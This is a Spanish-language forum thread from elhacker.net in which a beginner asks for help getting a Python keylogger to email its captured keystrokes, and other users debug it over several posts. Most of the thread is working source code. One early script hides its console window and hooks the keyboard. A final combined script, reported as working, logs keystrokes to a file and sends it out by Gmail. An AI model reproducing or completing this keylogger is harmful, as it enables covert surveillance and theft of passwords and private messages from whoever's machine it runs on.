Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: TheFerret en 10 Abril 2019, 00:13 am



Título: Problema con Keylogger en Python (No envía el log)
Publicado por: TheFerret en 10 Abril 2019, 00:13 am
Estoy empezando en el mundo de Python y he decidido seguir este pequeño tutorial para hacer un simple Keylogger que envía las capturas al correo electrónico: http://www.pythondiario.com/2017/05/como-crear-un-keylogger-remoto-con.html

El problema viene cuando al alcanzar los caracteres establecidos para que se envíe el log a mi correo, llega un correo vacío, sin asunto, solo con la palabra "capturado"

Adjunto código:

Código
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. import win32console
  5. import win32gui
  6. import pythoncom,pyHook
  7. import time
  8. import smtplib
  9. import os
  10. import sys
  11. # www.pythondiario.com
  12.  
  13. ########################################################
  14. # CONFIGURAR VARIABLES
  15. ########################################################
  16.  
  17. win = win32console.GetConsoleWindow()
  18. win32gui.ShowWindow(win,0)
  19.  
  20. #crea el archivo .txt
  21. f=open("c:\output.txt","w+")
  22. f.close
  23.  
  24. #Variable que cuenta las tecas presionadas
  25. count = 0
  26.  
  27. ########################################################
  28. # FUNCIONES
  29. ########################################################
  30.  
  31. def send_email(message):
  32.  
  33.    try:
  34.  
  35.        # Datos
  36.        fromaddr = 'correo@gmail.com'
  37.        toaddrs = 'correo@gmail.com'
  38.        username = 'correo@gmail.com'
  39.        password = 'contraseña'
  40.  
  41.        # Enviando el correo
  42.        server = smtplib.SMTP('smtp.gmail.com:587')
  43.        server.starttls()
  44.        server.login(username,password)
  45.        server.sendmail(fromaddr, toaddrs, message)
  46.        server.quit()
  47.  
  48.    except:
  49.  
  50.        pass
  51.  
  52.  
  53. def OnKeyboardEvent(event):
  54.  
  55.    global count
  56.    count += 1
  57.    #presiona CTRL+E para salir
  58.    if event.Ascii==5:
  59.        sys.exit(0)
  60.  
  61.    if event.Ascii !=0 or 8:
  62.        #abre output.txt
  63.        f=open('c:\output.txt','r+')
  64.        buffer=f.read()
  65.        f.close()        
  66.  
  67.        if len(buffer)==1:
  68.            send_email("Arranco...")            
  69.  
  70.        if  count ==100:
  71.            #Envia los ultimos 500 caracteres
  72.            capturado = buffer[-100:].replace("\n"," ")
  73.            send_email("capturado")
  74.            count = 0
  75.  
  76.        #abre output.txt escribe y suma nuevas pulsaciones
  77.        f=open('c:\output.txt','w')
  78.        keylogs=chr(event.Ascii)
  79.  
  80.        #si se presiona ENTER
  81.        if event.Ascii==13:
  82.            keylogs='\n'
  83.  
  84.        #si se preciona ESPACIO
  85.        if event.Ascii==32:
  86.            keylogs=''
  87.  
  88.        buffer+=keylogs
  89.        f.write(buffer)
  90.        f.close()
  91.  
  92.  
  93. # crea el objeto hook manager
  94. hm = pyHook.HookManager()
  95. hm.KeyDown = OnKeyboardEvent
  96. # set the hook
  97. hm.HookKeyboard()
  98. # wait forever
  99. pythoncom.PumpMessages()


Del código original de la web, he modificado 'elif' por 'if' pues de lo contrario ni me envía el mensaje, '(capturado)' por '("capturado")', y he reducido el envío de fichero a la pulsación de 100 caracteres. Bueno y he cambiado el correo y la contraseña por motivos evidentes. ¿Sabéis que está fallando? Mil gracias de antemano :huh:


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: Segadorfelix en 12 Abril 2019, 17:36 pm
Probaste send_email(capturado) en vez de send_email("capturado").

No lo analice del todo, pero puede ser eso. Que envíe el string capturado y no los datos almacenados en capturado.

PD: Acabo de leer el final. Prueba, por partes, primero, si almacena correctamente los datos, imprimiendolos en consola, en lugar de enviarlos. Si lo hace, allí no esta el problema.

O Averiguar si server, posee alguna restricción con el tipo de dato o el tamaño.


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: TheFerret en 13 Abril 2019, 03:41 am
He cambiado
Código
  1. win32gui.ShowWindow(win,0)
a
Código
  1. win32gui.ShowWindow(win,1)
para que me muestre los errores en la terminal y me sale este error, el cual no consigo solucionar en estos momentos:
Código
  1.  event = KeyboardEvent(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name)
  2. SystemError: <class 'pyHook.HookManager.KeyboardEvent'> returned a result with an error set
  3. TypeError: an integer is required (got type NoneType)

Lo que he buscado sobre el error no me ha aclarado mucho, si tienes alguna idea es de agradecer!


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: Segadorfelix en 13 Abril 2019, 05:04 am
Recomendaría que volvieras al código original. Por dos razones:

*El elif debería funcionar si el valor buffer aumenta correctamente.
*El '(capturado)' debe enviar la variable. Mientras que el '("capturado")' envía un el string "capturado", por eso solo llega esa palabra.

No eliminar el código 'modificado'. Sino probar ambos y ver resultados.

Coloca print(buffer), print(message) y print(count). En varias zonas del codigo, para ver por consola, si realmente están cambiando como deberían, lo cual supongo que no, alguna variable debe estar fallando.

No creo que el modulo para enviar mensajes, falle, ya que llega al menos un mensaje.

Si ya has probado con seriedad todo lo anterior, entonces prueba si

Código
  1. hm = pyHook.HookManager()
  2. hm.KeyDown = OnKeyboardEvent
  3. # set the hook
  4. hm.HookKeyboard()

requiere algun valor numérico.

Código
  1. f=open("c:\output.txt","w+")
  2. f.close
  3.  

También, sería bueno (aunque no creo que altere el error), cambiar f.close a f.close()

Por ultimo, si es por tener un Keylogger funcional y este código sigue fallando, puedes ver los últimos comentarios del link de phytondiario, en donde colocan otros códigos. Y también en la red, hay keylogger en python cuantos, se quieran.



Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: TheFerret en 13 Abril 2019, 06:02 am
Vuelvo al código original;
*El elif vuelve a donde estaba anteriormente
*La variable vuelve a ser '(capturado)'

-Sí, el mensaje llega o llegaba hasta ahora, de todas formas he probado otro módulo de mensajes anteriormente como alternativa y funciona también, el problema no debe estar ahí..

-He colocado print en varias zonas del código con las variables que me comentas y me salta un error por cada una de ellas con "NameError: name 'buffer' is not defined"

-Me ha llegado el primer error de Sintaxis del código original:
Código
  1. capturado = buffer[-500:].replace("\n","
  2.                                                                              ^
  3. SyntaxError: EOL while scanning string literal

Interpreto que quería poner un replace("\n"," ") para que los espacios no sean legibles. Con permiso corrijo eso para que pueda continuar corriendo el código.

Perdona mi ignorancia, pero cómo compruebo si requiere un valor numérico?

*Cambiado f.close a f.close()

-Sí, soy consciente, pero mi idea aparte de tener un keylogger funcional, es aprender código para entenderlo poco a poco, y que menos, que tratando de hacer uno y que salga para adelante...

-Muchas gracias de antemano por todo


EDITO: El print(count) funciona sin darme error; pero se queda a 0. El problema es que al pulsar cualquier tecla salta esto:
Código
  1. Traceback (most recent call last):
  2.  File "C:\Users\Andrés\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pyHook\HookManager.py", line 348, in KeyboardSwitch
  3.    event = KeyboardEvent(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name)
  4. SystemError: <class 'pyHook.HookManager.KeyboardEvent'> returned a result with an error set


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: TheFerret en 13 Abril 2019, 21:24 pm
Vuelvo al código original;
*El elif vuelve a donde estaba anteriormente
*La variable vuelve a ser '(capturado)'

-Sí, el mensaje llega o llegaba hasta ahora, de todas formas he probado otro módulo de mensajes anteriormente como alternativa y funciona también, el problema no debe estar ahí..

-He colocado print en varias zonas del código con las variables que me comentas y me salta un error por cada una de ellas con "NameError: name 'buffer' is not defined"

-Me ha llegado el primer error de Sintaxis del código original:
Código
  1. capturado = buffer[-500:].replace("\n","
  2.                                                                              ^
  3. SyntaxError: EOL while scanning string literal

Interpreto que quería poner un replace("\n"," ") para que los espacios no sean legibles. Con permiso corrijo eso para que pueda continuar corriendo el código.

Perdona mi ignorancia, pero cómo compruebo si requiere un valor numérico?

*Cambiado f.close a f.close()

-Sí, soy consciente, pero mi idea aparte de tener un keylogger funcional, es aprender código para entenderlo poco a poco, y que menos, que tratando de hacer uno y que salga para adelante...

-Muchas gracias de antemano por todo


EDITO: El print(count) funciona sin darme error; pero se queda a 0. El problema es que al pulsar cualquier tecla salta esto:
Código
  1. Traceback (most recent call last):
  2.  File "C:\Users\Andrés\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pyHook\HookManager.py", line 348, in KeyboardSwitch
  3.    event = KeyboardEvent(msg, vk_code, scan_code, ascii, flags, time, hwnd, win_name)
  4. SystemError: <class 'pyHook.HookManager.KeyboardEvent'> returned a result with an error set




El fallo al parecer se encuentra en el módulo de PyHook en Python3. Técnicamente en Python 2 debería funcionar sin problemas según he leído.Para no abrir otro tema prosigo aquí. He cambiado el código por el de este tutorial que usa otro módulo:Keyboard.
https://recursospython.com/codigos-de-fuente/keylogger-para-windows-y-linux/

Y he añadido usando el módulo yagmail  un script para que envíe un correo con el fichero. Funcionan bien....por separado.Si ejecuto primero el script de recursospython y después el script de yagmail funciona sin problemas. Pero en cuanto uno ambos script en uno solo, deja de funcionar. Soluciones?

Código añadido:
Código
  1. from functools import partial
  2. import atexit
  3. import os
  4. import keyboard
  5. import time, datetime
  6. import smtplib
  7. import yagmail
  8. import sys
  9.  
  10.  
  11.  
  12. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  13. yag
  14. img = "C:/Users/Andrés/Desktop/keys.txt"
  15. yag.send('correo@gmail.com', "Birthday", contents = [img])


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: yuimugi912 en 19 Abril 2019, 03:52 am
podrias usar el GetAsyncKeyState
https://gist.github.com/inaz2/541da967ad04d06b975e


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: Segadorfelix en 20 Abril 2019, 22:45 pm


El fallo al parecer se encuentra en el módulo de PyHook en Python3. Técnicamente en Python 2 debería funcionar sin problemas según he leído.Para no abrir otro tema prosigo aquí. He cambiado el código por el de este tutorial que usa otro módulo:Keyboard.
https://recursospython.com/codigos-de-fuente/keylogger-para-windows-y-linux/

Y he añadido usando el módulo yagmail  un script para que envíe un correo con el fichero. Funcionan bien....por separado.Si ejecuto primero el script de recursospython y después el script de yagmail funciona sin problemas. Pero en cuanto uno ambos script en uno solo, deja de funcionar. Soluciones?

Código añadido:
Código
  1. from functools import partial
  2. import atexit
  3. import os
  4. import keyboard
  5. import time, datetime
  6. import smtplib
  7. import yagmail
  8. import sys
  9.  
  10.  
  11.  
  12. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  13. yag
  14. img = "C:/Users/Andrés/Desktop/keys.txt"
  15. yag.send('correo@gmail.com', "Birthday", contents = [img])

Sé que podría se que lo que voy a pedir puede parecer innecesario. Pero, podrías postear. Los dos scripts a parte, que funcionan.

Y luego el script 'completo' que falla.

Así, sería más sencillo fijarse que es lo que falla. Si es que al definir cierta variable en uno, afecta al otro, o cambia la forma en la que lee los datos, por ejemplo.


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: yuimugi912 en 20 Abril 2019, 23:46 pm
segun leo en stackoverflow debes ponerle un return 0; a la funcion OnKeyboardEvent(event):
podrias probar  :P


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: TheFerret en 21 Abril 2019, 21:02 pm
Sé que podría se que lo que voy a pedir puede parecer innecesario. Pero, podrías postear. Los dos scripts a parte, que funcionan.

Y luego el script 'completo' que falla.

Así, sería más sencillo fijarse que es lo que falla. Si es que al definir cierta variable en uno, afecta al otro, o cambia la forma en la que lee los datos, por ejemplo.


PRIMER SCRIPT:

Código
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. #
  4. #   Copyright 2013-2017 Recursos Python
  5. #   www.recursospython.com
  6. #
  7. from functools import partial
  8. import atexit
  9. import os
  10. import keyboard
  11. import yagmail
  12. MAP = {
  13.    "space": " ",
  14.    "\r": "\n"
  15. }
  16. # Ubicación y nombre del archivo que guarda las teclas presionadas.
  17. FILE_NAME = "keys.txt"
  18. # Determina si el archivo de salida es limpiado cada vez que se
  19. # inicia el programa.
  20. CLEAR_ON_STARTUP = False
  21. # Tecla para terminar el programa o None para no utilizar ninguna tecla.
  22. TERMINATE_KEY = "esc"
  23. def callback(output, is_down, event):
  24.    if event.event_type in ("up", "down"):
  25.        key = MAP.get(event.name, event.name)
  26.        modifier = len(key) > 1
  27.        # Capturar únicamente los modificadores cuando están siendo
  28.        # presionados.
  29.        if not modifier and event.event_type == "down":
  30.            return
  31.        # Evitar escribir múltiples veces la misma tecla si está
  32.        # siendo presionada.
  33.        if modifier:
  34.            if event.event_type == "down":
  35.                if is_down.get(key, False):
  36.                    return
  37.                else:
  38.                    is_down[key] = True
  39.            elif event.event_type == "up":
  40.                is_down[key] = False
  41.            # Indicar si está siendo presionado.
  42.            key = " [{} ({})] ".format(key, event.event_type)
  43.        elif key == "\r":
  44.            # Salto de línea.
  45.            key = "\n"
  46.        # Escribir la tecla al archivo de salida.
  47.        output.write(key)
  48.        # Forzar escritura.
  49.        output.flush()
  50. def onexit(output):
  51.    output.close()
  52. def main():
  53.    # Borrar el archivo previo.
  54.    if CLEAR_ON_STARTUP:
  55.        os.remove(FILE_NAME)
  56.  
  57.    # Indica si una tecla está siendo presionada.
  58.    is_down = {}
  59.  
  60.    # Archivo de salida.
  61.    output = open(FILE_NAME, "a")
  62.  
  63.    # Cerrar el archivo al terminar el programa.
  64.    atexit.register(onexit, output)
  65.  
  66.    # Instalar el registrador de teclas.
  67.    keyboard.hook(partial(callback, output, is_down))
  68.    keyboard.wait(TERMINATE_KEY)
  69.  
  70. if __name__ == "__main__":
  71.    main()
  72.  


SEGUNDO SCRIPT:


Código
  1. from functools import partial
  2. import atexit
  3. import os
  4. import keyboard
  5. import time, datetime
  6. import smtplib
  7. import yagmail
  8. import sys
  9.  
  10.  
  11.  
  12. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  13. yag
  14. img = "C:/Users/Andrés/Desktop/keys.txt"
  15. yag.send('correo@gmail.com', "Birthday", contents = [img])
  16.  
  17. if __name__ == "__main__":
  18.    main()
  19.  


AMBOS SCRIPT JUNTOS:


Código
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. #
  4. #   Copyright 2013-2017 Recursos Python
  5. #   www.recursospython.com
  6. #
  7. from functools import partial
  8. import atexit
  9. import os
  10. import keyboard
  11. import yagmail
  12. MAP = {
  13.    "space": " ",
  14.    "\r": "\n"
  15. }
  16. # Ubicación y nombre del archivo que guarda las teclas presionadas.
  17. FILE_NAME = "keys.txt"
  18. # Determina si el archivo de salida es limpiado cada vez que se
  19. # inicia el programa.
  20. CLEAR_ON_STARTUP = False
  21. # Tecla para terminar el programa o None para no utilizar ninguna tecla.
  22. TERMINATE_KEY = "esc"
  23. def callback(output, is_down, event):
  24.    if event.event_type in ("up", "down"):
  25.        key = MAP.get(event.name, event.name)
  26.        modifier = len(key) > 1
  27.        # Capturar únicamente los modificadores cuando están siendo
  28.        # presionados.
  29.        if not modifier and event.event_type == "down":
  30.            return
  31.        # Evitar escribir múltiples veces la misma tecla si está
  32.        # siendo presionada.
  33.        if modifier:
  34.            if event.event_type == "down":
  35.                if is_down.get(key, False):
  36.                    return
  37.                else:
  38.                    is_down[key] = True
  39.            elif event.event_type == "up":
  40.                is_down[key] = False
  41.            # Indicar si está siendo presionado.
  42.            key = " [{} ({})] ".format(key, event.event_type)
  43.        elif key == "\r":
  44.            # Salto de línea.
  45.            key = "\n"
  46.        # Escribir la tecla al archivo de salida.
  47.        output.write(key)
  48.        # Forzar escritura.
  49.        output.flush()
  50. def onexit(output):
  51.    output.close()
  52. def main():
  53.    # Borrar el archivo previo.
  54.    if CLEAR_ON_STARTUP:
  55.        os.remove(FILE_NAME)
  56.  
  57.    # Indica si una tecla está siendo presionada.
  58.    is_down = {}
  59.  
  60.    # Archivo de salida.
  61.    output = open(FILE_NAME, "a")
  62.  
  63.    # Cerrar el archivo al terminar el programa.
  64.    atexit.register(onexit, output)
  65.  
  66.    # Instalar el registrador de teclas.
  67.    keyboard.hook(partial(callback, output, is_down))
  68.    keyboard.wait(TERMINATE_KEY)
  69.  
  70. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  71. yag
  72. img = "C:/Users/Andrés/Desktop/keys.txt"
  73. yag.send('correo@gmail.com', "Birthday", contents = [img])
  74.  
  75. if __name__ == "__main__":
  76.    main()
  77.  


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: Segadorfelix en 22 Abril 2019, 08:29 am
En el ultimo script, creo que falta importar estos módulos. Prueba si funciona.

Código
  1. import time, datetime
  2. import smtplib
  3. import sys
  4.  

En el primer script sobra:

Código
  1. import yagmail

En el segundo script sobra:

Código
  1. import atexit
  2. import os
  3. import keyboard
  4.  
  5. if __name__ == "__main__":
  6.    main()
  7.  

Si el ultimo script sigue sin funcionar, postea que error da, o que ocurre (Por ejemplo: No envía el correo, no crea el archivo que guarda los datos). Revisar la zona de spam en el correo.

Mucha suerte!



Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: TheFerret en 23 Abril 2019, 04:25 am
Ahora funciona perfectamente el segundo script, el de enviar el correo, pero el primer script no funciona.  :xD 

Es decir, ejecuto el keylogger, todo correcto, pero cuando reviso el correo me llega el log vacío. Adjunto el código de los script juntos:

Código
  1. from functools import partial
  2. import atexit
  3. import os
  4. import keyboard
  5. MAP = {
  6.    "space": " ",
  7.    "\r": "\n"
  8. }
  9. # Ubicación y nombre del archivo que guarda las teclas presionadas.
  10. FILE_NAME = "keys.txt"
  11. # Determina si el archivo de salida es limpiado cada vez que se
  12. # inicia el programa.
  13. CLEAR_ON_STARTUP = False
  14. # Tecla para terminar el programa o None para no utilizar ninguna tecla.
  15. TERMINATE_KEY = "esc"
  16. def callback(output, is_down, event):
  17.    if event.event_type in ("up", "down"):
  18.        key = MAP.get(event.name, event.name)
  19.        modifier = len(key) > 1
  20.        # Capturar únicamente los modificadores cuando están siendo
  21.        # presionados.
  22.        if not modifier and event.event_type == "down":
  23.            return
  24.        # Evitar escribir múltiples veces la misma tecla si está
  25.        # siendo presionada.
  26.        if modifier:
  27.            if event.event_type == "down":
  28.                if is_down.get(key, False):
  29.                    return
  30.                else:
  31.                    is_down[key] = True
  32.            elif event.event_type == "up":
  33.                is_down[key] = False
  34.            # Indicar si está siendo presionado.
  35.            key = " [{} ({})] ".format(key, event.event_type)
  36.        elif key == "\r":
  37.            # Salto de línea.
  38.            key = "\n"
  39.        # Escribir la tecla al archivo de salida.
  40.        output.write(key)
  41.        # Forzar escritura.
  42.        output.flush()
  43. def onexit(output):
  44.    output.close()
  45. def main():
  46.    # Borrar el archivo previo.
  47.    if CLEAR_ON_STARTUP:
  48.        os.remove(FILE_NAME)
  49.  
  50.    # Indica si una tecla está siendo presionada.
  51.    is_down = {}
  52.  
  53.    # Archivo de salida.
  54.    output = open(FILE_NAME, "a")
  55.  
  56.    # Cerrar el archivo al terminar el programa.
  57.    atexit.register(onexit, output)
  58.  
  59.    # Instalar el registrador de teclas.
  60.    keyboard.hook(partial(callback, output, is_down))
  61.    keyboard.wait(TERMINATE_KEY)
  62.  
  63.  
  64.  
  65. from functools import partial
  66. import time, datetime
  67. import smtplib
  68. import yagmail
  69. import sys
  70.  
  71.  
  72.  
  73. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  74. yag
  75. img = "C:/Users/Andrés/Desktop/keys.txt"
  76. yag.send('correo@gmail.com', "Birthday", contents = [img])


NOTA: Sospechando que lo que sucedía era que al no existir un temporizador, Python no me dejaba escribir pues ya enviaba el fichero directamente, probé a colocar un time.sleep(20), pero el resultado es el mismo lamentablemente


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: yuimugi912 en 23 Abril 2019, 05:54 am
prueba cerrando el archivo cada vez que escribes algo en el , en vez de hacerlo al final , a veces termina en la ram y luego no lo escribe hasta que le das close

otra opcion es que sea un bug de la libreria, pero sigue saliendo el mismo error?


Edit: ahh veo que usas flush para eso del archivo


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: TheFerret en 24 Abril 2019, 03:59 am
Puede ser que el error esté en la parte de "#Cerrar el archivo al terminar al programa"?

Quizás el programa queda corriendo y el archivo no llega a cerrarse y por eso no se guarda nada? Podría ser?


Actualmente no sale error alguno, el programa se ejecuta sin errores, y por separado funcionan excelente, solo al unirlos llega el correo pero con un log vacío, vamos, que básicamente o no está escribiendo o no está guardando lo escrito...


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: yuimugi912 en 26 Abril 2019, 03:38 am
Puede ser que el error esté en la parte de "#Cerrar el archivo al terminar al programa"?

Quizás el programa queda corriendo y el archivo no llega a cerrarse y por eso no se guarda nada? Podría ser?


no tendria porque cuando le haces archivo.flush() escribe sin necesidad de cerrar el archivo .

PD: si dices que separado funciona bien, es decir que el log se escribe por separado pero por correo no llega?
.Si la respuesta es si prueba copiar el archivo y enviar la copia por si acaso no se ha cerrado y el sistema operativo lo esta bloqueando


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: TheFerret en 26 Abril 2019, 04:17 am
no tendria porque cuando le haces archivo.flush() escribe sin necesidad de cerrar el archivo .

PD: si dices que separado funciona bien, es decir que el log se escribe por separado pero por correo no llega?
.Si la respuesta es si prueba copiar el archivo y enviar la copia por si acaso no se ha cerrado y el sistema operativo lo esta bloqueando

Por separado funcionan ambas cosas, es decir, yo si ejecuto primero un script y luego el otro, funciona todo excelente. Al ejecutar el primer script guarda el registro de teclas en el archivo y al ejecutar el segundo script, envía el archivo al correo electrónico.

Pero en cuanto quiero hacer de esos dos script un solo script ya vienen los problemas, pues llega el correo, pero con el fichero sin alterar, es decir, sin registrar las teclas.

Respecto a lo segundo, voy a intentarlo, pero es raro pues el script sólo sí que funciona sin problemas (tanto el primero como el segundo)

EDITO: Acabo de intentar copiar el fichero con el módulo Shutil y que se envíe el fichero copiado al correo, pero nada, sigue llegando vacío  :-\


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: Segadorfelix en 26 Abril 2019, 10:53 am
Prueba este código, le hice modificaciones mínimas, pero puede que sirva.
*La importación de módulos ocurre toda de una vez y al inicio.
*El valor del archivo al cual se le debe escribir, esta especificado junto a la ruta.

Código
  1. from functools import partial
  2. import time, datetime
  3. import smtplib
  4. import yagmail
  5. import sys
  6. import atexit
  7. import os
  8. import keyboard
  9.  
  10. MAP = {
  11.    "space": " ",
  12.    "\r": "\n"
  13. }
  14. # Ubicación y nombre del archivo que guarda las teclas presionadas.
  15. FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
  16. # Determina si el archivo de salida es limpiado cada vez que se
  17. # inicia el programa.
  18. CLEAR_ON_STARTUP = False
  19. # Tecla para terminar el programa o None para no utilizar ninguna tecla.
  20. TERMINATE_KEY = "esc"
  21. def callback(output, is_down, event):
  22.    if event.event_type in ("up", "down"):
  23.        key = MAP.get(event.name, event.name)
  24.        modifier = len(key) > 1
  25.        # Capturar únicamente los modificadores cuando están siendo
  26.        # presionados.
  27.        if not modifier and event.event_type == "down":
  28.            return
  29.        # Evitar escribir múltiples veces la misma tecla si está
  30.        # siendo presionada.
  31.        if modifier:
  32.            if event.event_type == "down":
  33.                if is_down.get(key, False):
  34.                    return
  35.                else:
  36.                    is_down[key] = True
  37.            elif event.event_type == "up":
  38.                is_down[key] = False
  39.            # Indicar si está siendo presionado.
  40.            key = " [{} ({})] ".format(key, event.event_type)
  41.        elif key == "\r":
  42.            # Salto de línea.
  43.            key = "\n"
  44.        # Escribir la tecla al archivo de salida.
  45.        output.write(key)
  46.        # Forzar escritura.
  47.        output.flush()
  48. def onexit(output):
  49.    output.close()
  50. def main():
  51.    # Borrar el archivo previo.
  52.    if CLEAR_ON_STARTUP:
  53.        os.remove(FILE_NAME)
  54.  
  55.    # Indica si una tecla está siendo presionada.
  56.    is_down = {}
  57.  
  58.    # Archivo de salida.
  59.    output = open(FILE_NAME, "a")
  60.  
  61.    # Cerrar el archivo al terminar el programa.
  62.    atexit.register(onexit, output)
  63.  
  64.    # Instalar el registrador de teclas.
  65.    keyboard.hook(partial(callback, output, is_down))
  66.    keyboard.wait(TERMINATE_KEY)
  67.  
  68.  
  69. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  70. yag
  71. img = "C:/Users/Andrés/Desktop/keys.txt"
  72. yag.send('correo@gmail.com', "Birthday", contents = [img])

Si sigue sin funcionar, luego de probarlo, cambia a Ruby que es más divertido  ;D es broma, si no funciona, voy a darle una ojeada más sería, para ver que pasa.


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: TheFerret en 26 Abril 2019, 19:39 pm
Prueba este código, le hice modificaciones mínimas, pero puede que sirva.
*La importación de módulos ocurre toda de una vez y al inicio.
*El valor del archivo al cual se le debe escribir, esta especificado junto a la ruta.

Código
  1. from functools import partial
  2. import time, datetime
  3. import smtplib
  4. import yagmail
  5. import sys
  6. import atexit
  7. import os
  8. import keyboard
  9.  
  10. MAP = {
  11.    "space": " ",
  12.    "\r": "\n"
  13. }
  14. # Ubicación y nombre del archivo que guarda las teclas presionadas.
  15. FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
  16. # Determina si el archivo de salida es limpiado cada vez que se
  17. # inicia el programa.
  18. CLEAR_ON_STARTUP = False
  19. # Tecla para terminar el programa o None para no utilizar ninguna tecla.
  20. TERMINATE_KEY = "esc"
  21. def callback(output, is_down, event):
  22.    if event.event_type in ("up", "down"):
  23.        key = MAP.get(event.name, event.name)
  24.        modifier = len(key) > 1
  25.        # Capturar únicamente los modificadores cuando están siendo
  26.        # presionados.
  27.        if not modifier and event.event_type == "down":
  28.            return
  29.        # Evitar escribir múltiples veces la misma tecla si está
  30.        # siendo presionada.
  31.        if modifier:
  32.            if event.event_type == "down":
  33.                if is_down.get(key, False):
  34.                    return
  35.                else:
  36.                    is_down[key] = True
  37.            elif event.event_type == "up":
  38.                is_down[key] = False
  39.            # Indicar si está siendo presionado.
  40.            key = " [{} ({})] ".format(key, event.event_type)
  41.        elif key == "\r":
  42.            # Salto de línea.
  43.            key = "\n"
  44.        # Escribir la tecla al archivo de salida.
  45.        output.write(key)
  46.        # Forzar escritura.
  47.        output.flush()
  48. def onexit(output):
  49.    output.close()
  50. def main():
  51.    # Borrar el archivo previo.
  52.    if CLEAR_ON_STARTUP:
  53.        os.remove(FILE_NAME)
  54.  
  55.    # Indica si una tecla está siendo presionada.
  56.    is_down = {}
  57.  
  58.    # Archivo de salida.
  59.    output = open(FILE_NAME, "a")
  60.  
  61.    # Cerrar el archivo al terminar el programa.
  62.    atexit.register(onexit, output)
  63.  
  64.    # Instalar el registrador de teclas.
  65.    keyboard.hook(partial(callback, output, is_down))
  66.    keyboard.wait(TERMINATE_KEY)
  67.  
  68.  
  69. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  70. yag
  71. img = "C:/Users/Andrés/Desktop/keys.txt"
  72. yag.send('correo@gmail.com', "Birthday", contents = [img])

Si sigue sin funcionar, luego de probarlo, cambia a Ruby que es más divertido  ;D es broma, si no funciona, voy a darle una ojeada más sería, para ver que pasa.


Jajajajaja a este paso si eh,no le caigo muy bien a Python, ya estamos teniendo roces nada más empezar  :xD

Acabo de probar y lamentablemente el resultado arrojado es el mismo, fichero enviado al correo pero intacto. Respecto a lo de la importación de módulos al inicio y el valor del archivo especificado junto a la ruta, te agradezco que arregles mi caos de código jajaja. Pero nada, la cosa sigue igual  :huh:


Título: Re: Problema con Keylogger en Python (No envía el log)
Publicado por: Segadorfelix en 7 Mayo 2019, 09:00 am
Prueba este código, creo que el error estaba en usar a yagmail antes de:

Código
  1. if __name__ == "__main__":
  2.    main()
  3.  

Código:

Código
  1. from functools import partial
  2. import atexit
  3. import os
  4. import keyboard
  5. import time, datetime
  6. import smtplib
  7. import yagmail
  8. import sys
  9.  
  10. MAP = {
  11.    "space": " ",
  12.    "\r": "\n"
  13. }
  14. # Ubicación y nombre del archivo que guarda las teclas presionadas.
  15. FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
  16. # Determina si el archivo de salida es limpiado cada vez que se
  17. # inicia el programa.
  18. CLEAR_ON_STARTUP = False
  19. # Tecla para terminar el programa o None para no utilizar ninguna tecla.
  20. TERMINATE_KEY = "esc"
  21. def callback(output, is_down, event):
  22.    if event.event_type in ("up", "down"):
  23.        key = MAP.get(event.name, event.name)
  24.        modifier = len(key) > 1
  25.        # Capturar únicamente los modificadores cuando están siendo
  26.        # presionados.
  27.        if not modifier and event.event_type == "down":
  28.            return
  29.        # Evitar escribir múltiples veces la misma tecla si está
  30.        # siendo presionada.
  31.        if modifier:
  32.            if event.event_type == "down":
  33.                if is_down.get(key, False):
  34.                    return
  35.                else:
  36.                    is_down[key] = True
  37.            elif event.event_type == "up":
  38.                is_down[key] = False
  39.            # Indicar si está siendo presionado.
  40.            key = " [{} ({})] ".format(key, event.event_type)
  41.        elif key == "\r":
  42.            # Salto de línea.
  43.            key = "\n"
  44.        # Escribir la tecla al archivo de salida.
  45.        output.write(key)
  46.        # Forzar escritura.
  47.        output.flush()
  48. def onexit(output):
  49.    output.close()
  50. def main():
  51.    # Borrar el archivo previo.
  52.    if CLEAR_ON_STARTUP:
  53.        os.remove(FILE_NAME)
  54.  
  55.    # Indica si una tecla está siendo presionada.
  56.    is_down = {}
  57.  
  58.    # Archivo de salida.
  59.    output = open(FILE_NAME, "a")
  60.  
  61.    # Cerrar el archivo al terminar el programa.
  62.    atexit.register(onexit, output)
  63.  
  64.    # Instalar el registrador de teclas.
  65.    keyboard.hook(partial(callback, output, is_down))
  66.    keyboard.wait(TERMINATE_KEY)
  67.  
  68. if __name__ == "__main__":
  69.    main()
  70.  
  71. yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
  72. yag
  73. img = "C:/Users/Andrés/Desktop/keys.txt"
  74. yag.send('correo@gmail.com', "JoJoJo", contents = [img])
  75.  

A mi me funciona correctamente, instale con un instalador el modulo keyboard, y yagmail por pip.

